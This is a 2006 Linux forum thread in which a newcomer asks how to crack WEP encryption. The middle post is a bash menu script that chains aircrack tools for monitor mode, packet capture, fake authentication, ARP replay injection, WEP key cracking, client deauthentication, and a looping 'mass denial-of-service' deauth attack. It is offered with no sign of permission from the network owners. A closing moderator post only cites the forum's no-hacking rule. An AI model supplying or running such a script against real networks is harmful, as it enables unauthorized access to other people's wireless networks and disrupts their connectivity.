Find the answer to your Linux question:
Results 1 to 3 of 3
OK im kinda new to this Linux thing so try to hold back some laughs... Any way I have Kubuntu installed on my Dell laptop and well i was wanting ...
Enjoy an ad free experience by logging in. Not a member yet? Register.
  1. #1
    Just Joined!
    Join Date
    Jan 2006
    Posts
    1

    Question Aircrack trouble


    OK im kinda new to this Linux thing so try to hold back some laughs...
    Any way I have Kubuntu installed on my Dell laptop and well i was wanting to crack WEP encryptions and well i am having trouble capturing IVs whenever i run airodump. I am able to connect to the internet via my wireless connection but i would really like to get this to work. Thanks in advance for any of the help.

  2. #2
    Just Joined!
    Join Date
    Feb 2006
    Posts
    8

    a lil bit of help

    i made a script that saves typing and helps do things in the right order
    u may need to change ath0 to the nic u r using, ps i know its lame but it helps.


    Code:
    #!/bin/bash
    echo "Please select a task."
    echo "1 Put ath0 into monitor mode."
    echo "2 Start dumping packets."
    echo "3 Run fake authentication."
    echo "4 Start sending packets."
    echo "5 Start cracking the wep key."
    echo ""
    echo "## WPA-PSK Menu ##"
    echo "6 Start dumping without the ivs flag."
    echo "7 Use DeAuth to kick the station off the network."
    echo "8 Start sending ARPs."
    echo "9 Start Mass denial-of-service attack >8^)"
    echo "Hit enter to exit."
    read sel
    
    case "$sel" in
    
     "1" )
    clear
    echo ""
    echo "Setting card ath0 into mode 2."
    #xterm -e "ifconfig && read" &
    echo "What mode do you want to use (0=a/b/g 1=a 2=b 3=g)."
    read tmode
    iwpriv ath0 mode $tmode
    echo "Setting mode $tmode one sec."
    sleep 4
    echo "Setting card ath0 into monitor mode."
    echo "Give me a channel or leave blank to scan."
    read chnum
    airmon.sh start ath0 $chnum
    #exit 0
    sleep 4
    retcrack.sh
    ;; 
    
     "2" )
    clear
    echo ""
    echo "Dumping packets with airodump."
    echo "Give me a file name."
    read filen
    echo "give me the channel number."
    read chn
    echo "just iv's = 1 all leave blank."
    read iiv
    #xterm -e 
    airodump ath0 $filen $chn $iiv
    
    exit 0
    ;;
    
     "3" )
    clear
    echo ""
    echo "Doing a fake authentication"
    echo "Give me the ssid."
    read ssid
    echo "Give me the AP MAC."
    read apmac
    echo "Give me the Station MAC."
    read stmac
    echo "Give me a inter 0 - 20"
    read inter 
    aireplay -1 $inter -e $ssid -a $apmac -h $stmac ath0
    exit 0
    ;; 
    
     "4" )
    clear
    echo "Send some ARP's to the AP 8^)."
    echo "Give me the AP's MAC."
    read apmmac
    echo "Give me the station mac or enter 0:1:2:3:4:5."
    read stmmac
    aireplay -3 -b $apmmac -h $stmmac -x 600 ath0
    ;;
    
     "5" )
    clear
    echo "Lets crack this *****."
    echo "Give me the file name."
    read nm 
    aircrack -x -0 $nm
    ;;
    
    # "6" )
    #echo "Lets crack this *****."
    #echo "give me the file name."
    #read nmm
    #exit 0
    #;;
    
     "6" )
    clear
    echo ""
    echo "Dumping packets with airodump no ivs flag."
    echo "Give me a file name."
    read filen
    echo "give me the channel number."
    read chn
    airodump ath0 $filen $chn 
    
    exit 0
    ;;
    
     "7" )
    clear
    echo "Give me the AP MAC."
    read aaapmac
    echo "Give me the Station MAC."
    read sssmac
    aireplay -0 5 -a $aaapmac -c $sssmac ath0
    
    exit 0
    ;;
    
     "8" )
    clear 
    echo "Give me AP MAC."
    read aaaapmac
    echo "Give me Station MAC."
    read sssstmac
    aireplay -3 -b $aaaapmac -h $sssstmac ath0       
    
    exit 0
    ;;
    
     "9" )
    clear
    echo "Give me AP MAC."
    read aaaaapmac
    aireplay -0 0 -a $aaaaapmac ath0
    
    exit 0
    ;;
    
    esac

  3. #3
    Linux Guru techieMoe's Avatar
    Join Date
    Aug 2004
    Location
    Texas
    Posts
    9,496
    Quoth the rules:

    Asking "how do I hack", "can someone give me an illegal copy of.." etc Will result in your post being removed, any may also result in a ban at the moderators discretion.
    Nevermore.
    Registered Linux user #270181
    TechieMoe's Tech Rants

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •